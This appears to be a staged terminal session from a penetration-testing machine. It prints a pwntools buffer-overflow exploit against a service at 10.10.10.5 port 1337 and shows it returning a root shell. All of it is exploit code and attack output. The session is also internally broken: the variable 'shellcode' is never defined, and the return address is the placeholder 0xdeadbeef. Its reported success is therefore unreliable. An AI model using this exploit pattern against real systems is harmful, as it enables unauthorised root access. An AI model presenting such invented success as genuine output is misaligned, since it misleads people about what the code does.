root@kali:~/exploits$ cat exploit.py

from pwn import *

 

target = remote('10.10.10.5', 1337)

padding = b"A" * 512

eip = p32(0xdeadbeef) # Overwrite EIP

nop_sled = b"\x90" * 32

payload = padding + eip + nop_sled + shellcode

 

log.info(f"Sending {len(payload)} bytes...")

target.sendline(payload)

target.interactive()

$ python3 exploit.py

[+] Opening connection to 10.10.10.5 on port 1337: Done

[*] Sending 844 bytes...

[*] Switching to interactive mode

$ whoami

root

$ _